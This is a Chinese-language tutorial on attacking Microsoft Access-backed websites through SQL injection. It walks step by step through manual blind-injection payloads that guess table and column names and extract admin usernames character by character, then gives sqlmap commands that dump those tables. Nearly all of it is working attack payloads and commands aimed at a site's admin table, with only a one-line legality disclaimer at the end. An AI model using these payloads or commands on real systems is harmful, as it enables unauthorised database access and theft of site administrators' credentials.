一、Microsoft Office Access数据库手工注入语句
1、参数后面加 ’ 、and 1=1、and 1=2看返回状态判断是否存在注入点
2、参数后面加 and exists(select*from admin) 猜表名 返回正常页面表示存在(admin)3、参数后面加 and exists(select username from admin)猜(admin)表中是否存在列名(username) 返回正常页面表示存在 4、参数后面加 and (select top 1 len(username) from admin)=1 猜字段(username)长度(解释:username列中第一条记录的字符长度等于1 也可以用 大于号> 来判断,可以使用二分测试) 5、参数后面加 and (select top 1 asc(mid(username,1,1))from admin)=97 猜字段(username)中第一条记录内容的第一个字符(字符替换成相应的ASCII码,ASCII码97表示a) and (select top 1 asc(mid(username,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符 (字符替换成相应的ASCII码,ASCII码97表示a) 自己测,个数为第4步测出来的长度二、Microsoft Office Access数据库SQLMAP注入语句
对sqlmap使用不熟悉的同学,请转到 学习sqlmap基础用法
1、sqlmap -u "url" --tables 猜表名 (在这里只用修改url) 确定为access数据库后再按此文章执行
执行后可能会询问如下图中 1 所示,输入 y 然后回车 表示使用字典查询表名,然后会输出2 询问你是使用默认字典还是自定义 默认则直接按回车,需要自己设置 就输入2 然后回车。
上图中为使用默认字典跑出来的表名。
2、sqlmap -u "url" -T "表名" --columns 猜字段名 (表名为第一步跑出来的表名)
在这个步骤中依然会询问步骤一 图2中的问题,依然输入 y 回车,接着如果使用默认字典直接回车,若使用自定义字典输入2 然后回车。
3、sqlmap -u "url" -T "表名" -C “字段1,字段2,字段3……” --dump 猜解表名中的字段内容 下图中包含步骤2猜解出来的字段
下图中包含表示admin字段爆出来的内容和结果,其中1显示了本次dump的结果保存的路径,2表示本次sqlmap扫描的日志文件路径
以上操作请在合法的范围内使用,请勿非法利用,谢谢!若造成损失由其自行承担,与本人无关。